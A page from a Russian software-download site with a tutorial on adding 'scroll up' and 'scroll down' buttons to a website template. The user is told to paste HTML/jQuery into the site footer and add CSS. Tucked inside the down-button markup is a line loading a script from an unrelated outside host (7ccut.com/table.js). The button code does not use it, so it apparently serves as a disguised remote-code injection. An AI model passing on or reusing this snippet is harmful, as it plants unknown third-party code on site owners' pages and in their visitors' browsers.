All-For-Kompa.RU

Сегодня:
Карта сайта форум Главная
Скрыть рекламный блок

Всё для компа

chat

Реклама

Реклама

Календарь

Популярное

Партнёры



Развлекательный портал по игре Dota 2. У нас вы первым узнаете о последних игровых новостях, сможете почитать интересные статьи и гайды, посмотреть стримы популярных комментаторов и многое другое.

Про-софт - сайт професионального софта. Ето сайт не только софта но также игровых дополнений, музыки, фильмов, игр для ПК а также читов для ПК игр. Постоянное обновление материалов и каждый день появляется чтото новенькое!

Архив новостей

Авторизация

Реклама

Хочешь помочь проекту? Установи наш баннер!

Опрос

На сколько оцениваете сайт?

1. Лучший из лучших
2. Круто
3. отлично
4. пойдёт
5. так себе
6. О_о

Реклама

Хочешь помочь проекту? Установи наш баннер!

Популярные тэги

Комментарии

Счетчики

На сайте: 395
Прохожие: 395
Пользователей: 0
Статус:

Счётчик тИЦ и PR Rambler's Top100

Раздел: Софт

Кнопка Вверх и вниз для сайта

АвторАвтор: smasto

|Голосов: 0 ДатаДата: 07.12.2013, 15:33

Как правильно установить кнопку "Вверх и вниз" на сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div style="display:none;" class="nav_up" id="nav_up">
  <img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
  <div style="display:none;" class="nav_down" id="nav_down">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
  <script>
  $(function() {
  var $elem = $('body');
   
  $('#nav_up').fadeIn('slow');
  $('#nav_down').fadeIn('slow');  
   
  $(window).bind('scrollstart', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
  });
  $(window).bind('scrollstop', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'1'});
  });
   
  $('#nav_down').click(
  function (e) {
  $('html, body').animate({scrollTop: $elem.height()}, 800);
  }
  );
  $('#nav_up').click(
  function (e) {
  $('html, body').animate({scrollTop: '0px'}, 800);
  }
  );
  });
  </script>


Это вставляем в "Таблица стилей (CSS)" в самый низ

Код
.nav_up{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:30px;
  cursor: pointer;
  }
.nav_down{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:66px;
  cursor: pointer;
  }


Готово.




Правообладателям



Перед тем как скачать "Кнопка Вверх и вниз для сайта", проверьте ВСЕ ссылки на работоспособность. На момент публикации "Кнопка Вверх и вниз для сайта", все ссылки были в рабочем состоянии

Другие материалы на эту тему:

    Теги к материалу:

    Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]

    Популярные файлыНовые файлы
    Call of Duty 5: World at ...[ Скачали 67587 раз ]
    Амфибии, Гайд по ассасина...[ Скачали 32058 раз ]
    Амфибии, Гайд по шаманам.[ Скачали 30913 раз ]
    cs 1.6 patch v48 full[ Скачали 29360 раз ]
    Русский бот PW Alfa v 2.6[ Скачали 17557 раз ]
    Огромный пак глюков и баг...[ Скачали 13026 раз ]
    civilization 5 скачать бе...[ Скачали 12164 раз ]
    PW MP5[ Скачали 11434 раз ]
    MHS-Bot-PW 2.3 ботовод[ Скачали 10779 раз ]
    Niko Bellic (нико белич) ...[ Скачали 10213 раз ]
    Wallpapers Girls №1167[ Добавлен 22.11.2024 ]
    Wallpapers Girls №1166[ Добавлен 21.11.2024 ]
    New Tales from the Border...[ Добавлен 20.11.2024 ]
    Wallpapers Girls №1165[ Добавлен 18.11.2024 ]
    Wallpapers Girls №1164[ Добавлен 18.11.2024 ]
    Mortal Shell (2020/Ru/En/...[ Добавлен 17.11.2024 ]
    Assassin's Creed Mira...[ Добавлен 17.11.2024 ]
    Wallpapers Mix №1870[ Добавлен 17.11.2024 ]
    Teenage Mutant Ninja Turt...[ Добавлен 15.11.2024 ]
    Grand Theft Auto: The Tri...[ Добавлен 15.11.2024 ]